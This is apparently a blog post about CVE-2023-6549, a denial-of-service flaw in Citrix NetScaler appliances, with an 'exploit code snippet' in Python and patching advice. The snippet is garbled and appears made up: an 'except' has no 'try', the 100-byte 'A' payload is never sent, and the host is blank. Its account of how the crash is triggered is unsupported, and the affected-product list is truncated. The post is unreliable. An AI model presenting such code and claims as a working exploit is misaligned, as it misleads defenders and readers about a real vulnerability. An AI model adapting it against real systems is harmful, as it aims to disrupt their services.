A critical vulnerability has been discovered in the Citrix NetScaler ADC and NetScaler Gateway appliances, classified under the Common Vulnerabilities and Exposures (CVE) code CVE-2023-6549. This vulnerability allows remote attackers to launch a denial-of-service (DoS) attack, effectively crippling the targeted system without authentication.

This long read post will explore the nature of the vulnerability, how it can be exploited, provide a code snippet demonstrating the exploit, and links to key references and updates relating to this issue.

Vulnerability Details

The vulnerability lies in the improper restriction of operations within the bounds of a memory buffer in the affected appliances. Due to this lax boundary enforcement, an attacker can send specially crafted packets that cause a buffer overflow, which in turn can trigger a system crash and result in a denial-of-service attack.

The CVE-2023-6549 vulnerability has a Common Vulnerability Scoring System (CVSS) score of 7.5, indicating a high severity level. The affected products are:

NetScaler Gateway

These appliances are widely used for load balancing, secure remote access, traffic management, and application optimization, among others. The vulnerability could have significant implications for the performance and availability of these services, making this issue a high priority for both vendors and end-users.

Exploit Code Snippet

Here's a code snippet that demonstrates how an attacker might exploit the CVE-2023-6549 vulnerability:

import socket
import sys

# Replace target_host and target_port with the actual target's IP address and port number
target_host = ""
target_port = 1234

payload = b"A" * 100

  print("[+] Launching exploit against target...")
  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  sock.connect((target_host, target_port))
  print("[+] Exploit sent.")
except Exception as e:
  print("[-] Error connecting to target or sending payload: ", e)

This simple Python script generates a payload of 100 'A' characters and sends it to the target device's IP address and port. When the payload exceeds the memory buffer size, a buffer overflow occurs, leading to a system crash and resulting in a denial-of-service attack.

Citrix has acknowledged the vulnerability and is actively working on a solution. Users are advised to keep a close eye on the updates released by the company notifying the availability of firmware updates. Below are the key resources and links for more information on CVE-2023-6549:

1. National Vulnerability Database (NVD) – CVE-2023-6549
2. Citrix Advisory – NetScaler ADC and Gateway CVE-2023-6549
3. Common Vulnerability Scoring System (CVSS) v3 Calculator – CVE-2023-6549


The CVE-2023-6549 vulnerability poses a significant risk for organizations relying on Citrix NetScaler ADC and NetScaler Gateway appliances for their day-to-day business operations. To protect against potential remote denial-of-service attacks, it is crucial to closely monitor related updates and apply the necessary firmware patches when they become available.

Always stay vigilant when it comes to cybersecurity, and be proactive in securing your organization's infrastructure and assets.


Published on: 01/17/2024 21:15:11 UTC
Last modified on: 01/19/2024 02:00:01 UTC